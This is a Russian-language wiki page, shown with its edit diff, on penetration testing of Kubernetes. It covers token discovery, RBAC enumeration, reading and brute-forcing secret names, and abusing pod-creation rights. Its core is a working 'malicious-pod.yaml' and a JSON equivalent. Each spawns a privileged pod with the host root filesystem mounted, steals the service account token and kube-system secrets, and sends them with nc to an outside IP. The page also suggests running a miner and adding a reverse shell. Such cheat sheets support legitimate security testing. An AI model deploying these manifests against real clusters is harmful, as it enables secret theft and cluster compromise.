Kubernetes — различия между версиями
Drakylar (обсуждение | вклад) м (→Доступ create) |
Drakylar (обсуждение | вклад) м (→kubectl) |
||
Строка 253: | Строка 253: | ||
command: ["/bin/sh"] | command: ["/bin/sh"] | ||
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000'] | args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000'] | ||
+ | volumeMounts: | ||
+ | - mountPath: /host | ||
+ | name: host-volume | ||
+ | restartPolicy: Never | ||
+ | hostIPC: true | ||
+ | hostNetwork: true | ||
+ | hostPID: true | ||
serviceAccountName: bootstrap-signer | serviceAccountName: bootstrap-signer | ||
automountServiceAccountToken: true | automountServiceAccountToken: true | ||
− | + | volumes: | |
+ | - name: host-volume | ||
+ | hostPath: | ||
+ | path: / | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Версия 13:03, 13 марта 2022
Статья посвящена тестированию на проникновение Kubernetes.
Предварительно статья разделена на сервисы и как их можно найти, эксплуатировать и может быть закрепиться.
Общее
Запросы к API (шпаргалка)
https://kubernetes.io/ru/docs/reference/kubectl/cheatsheet/
Настройка утилит
kubectl
Для общения с API можно воспользоваться стандартным ПО kubectl.
Пример запроса:
1 kubectl get secrets
Запросы можно делать inline с токеном:
1 kubectl --token=$TOKEN --server=$APISERVER --insecure-skip-tls-verify=true
curl
Для curl кроме стандартных параметров (токен, неймспейс) потребуется адрес API-сервера.
1 export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
2 export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
3 export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
4 export TOKEN=$(cat ${SERVICEACCOUNT}/token)
5 # Лишняя строка, но можно использовать с curl --cacert ${CACERT}
6 # export CACERT=${SERVICEACCOUNT}/ca.crt
7
8 curl -k --header "Authorization: Bearer ${TOKEN}"
Текущая конфигурация
Конфиг
Общая информация
1 kubectl config view
Пользователи
Список пользователей
1 kubectl config get-users
2 kubectl config view -o jsonpath='{.users[*].name}'
Удалить пользователя
1 kubectl config unset users.foo
Контексты
Список контекстов
1 kubectl config get-contexts
Текущий контекст
1 kubectl config current-context
Установить контекст
1 kubectl config use-context my-cluster-name
Namespace
Установить namespace по-умолчанию
1 kubectl config set-context --current --namespace=ggckad-s2
Pod
Локальные файлы
ca.crt - сертификат для проверки коммуникаций (можно отключить в curl функцией -k)
namespace - текущее рабочее пространство
token - сервисный токен Pod'а
Где их обычно можно найти:
1 /run/secrets/kubernetes.io/serviceaccount
2 /var/run/secrets/kubernetes.io/serviceaccount
3 /secrets/kubernetes.io/serviceaccount
Переменные окружения
Команда для получения адреса API-сервера (обычно переменная KUBECONFIG):
1 (env | set) | grep -i "kuber|kube"
Role-Based Access Control
Система по управлению ролями. Если проще - просто система контроля доступа, которая говорит куда у нас есть доступ и что это за доступ (get, list, update, delete).
Как правило, неправильная настройка доступа может привести к проблемам безопасности.
Список привилегий
Для получения списка доступных ресурсов у сервисного аккаунта, требуется выполнить следующую команду:
1 # Весь список привилегий
2 kubectl get rolebindings,clusterrolebindings --all-namespaces -o custom-columns='KIND:kind,NAMESPACE:metadata.namespace,NAME:metadata.name,SERVICE_ACCOUNTS:subjects[?(@.kind=="ServiceAccount")].name' | grep service_account_name
1 curl -s $APISERVER/apis/rbac.authorization.k8s.io/v1/clusterrolebindings?limit=500 --header "Authorization: Bearer $TOKEN" --cacert /tmp/ca.crt
2 # удачи парсить:)
Там же можно посмотреть информацию о роли RBAC. Или сделать отдельные запросы:
1 kubectl get role system:controller:bootstrap-signer -n kube-system -o yaml
Другие команды для получения информации о текущей роли:
1 # Текущие привилегии
2 kubectl auth can-i --list
3 ## use `--as=system:serviceaccount:<namespace>:<sa_name>` to impersonate a service account
4
5 # Список ролей кластера
6 kubectl get clusterroles
7 kubectl describe clusterroles
8
9 # Список Cluster Roles Bindings
10 kubectl get clusterrolebindings
11 kubectl describe clusterrolebindings
12
13 # Список ролей
14 kubectl get roles
15 kubectl describe roles
16
17 # Список Role Buildings
18 kubectl get rolebindings
19 kubectl describe rolebindings
Далее проблемы будут разделены на ресурсы, к которым был предоставлен доступ
Привилегии - secrets
Относится к etcd - хранилище секретов.
Доступ list
Позволяет получить список всех секретов в namespace.
kubectl
1 kubectl get secrets
HTTP API
1 curl -s $APISERVER/api/v1/secrets/ --header "Authorization: Bearer $TOKEN" --cacert /tmp/ca.crt
2
3 curl -s $APISERVER/api/v1/namespaces/kube-system/secrets/ --header "Authorization: Bearer $TOKEN" --cacert /tmp/ca.crt
Доступ get
Позволяет прочитать секрет.
Проблема в том, что при этом не всегда у нас будет доступ list на получение списка секретов, но тк идентификатор секрета - это 5 символов из A..Z, поэтому его возможно перебрать.
Пример названия секрета пользователя drakylar-admin:
1 drakylalr-admin-token-sgjbp
где sgjbp - случайная строка.
kubectl
Получить секрет по имени
1 kubectl get secrets secret_name -o yaml
curl
1 curl -s $APISERVER/api/v1/namespaces/default/secrets/drakylar-admin-token-sgjbp --header "Authorization: Bearer $TOKEN" --cacert /tmp/ca.crt
Привилегии - pods
Доступ create
Позволяет создавать новые Pod'ы.
В случае, если у созданного пода будет прикреплен сервисный аккаунт с другими привилегиями, то мы можем забрать токен из него и работать от имени сервисного аккаунта.
Дополнительная фича: запуск майнера.
kubectl
Для этого требуется создать yaml-файл со следующим содержимым:
1 apiVersion: v1
2 kind: Pod
3 metadata:
4 name: alpine
5 namespace: kube-system
6 spec:
7 containers:
8 - name: alpine
9 image: alpine
10 command: ["/bin/sh"]
11 args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
12 volumeMounts:
13 - mountPath: /host
14 name: host-volume
15 restartPolicy: Never
16 hostIPC: true
17 hostNetwork: true
18 hostPID: true
19 serviceAccountName: bootstrap-signer
20 automountServiceAccountToken: true
21 volumes:
22 - name: host-volume
23 hostPath:
24 path: /
И выполнить его командой:
1 kubectl apply -f malicious-pod.yaml
Этот скрипт создаст конейнет-Pod и при запуске контейнер подключится к 192.168.154.228:6666 и выведет информацию о сервисном аккаунте который будет закреплен за данным контейнером. Это позволит нам выполнять запросы от его лица не заходя на виртуалку.
curl
Для запросов через curl, требуется создать json-файл.
1 {
2 "apiVersion": "v1",
3 "kind": "Pod",
4 "metadata": {
5 "name": "alpine"
6 },
7 "spec": {
8 "containers": [
9 {
10 "name": "alpine",
11 "image": "alpine",
12 "commands": ["/bin/sh"],
13 "args": ["-c", "apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H \"Authorization: Bearer $TOKEN\" -H \"Content-Type: application/json\" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000"],
14 "serviceAccountName" : "bootstrap-signer",
15 "automountServiceAccountToken": true,
16 "hostNetwork": true
17 }
18 ]
19 }
20 }
И выполнить запрос:
1 curl -v -s $APISERVER/api/v1/namespaces/default/pods -X POST --header "Authorization: Bearer $TOKEN" -k -d@test.json
Но! Если вам вдруг требуется еще и сканировать, то лучше использовать созданный контейнер для этого. Например, вписав в конфиг команду на реверс-шелл.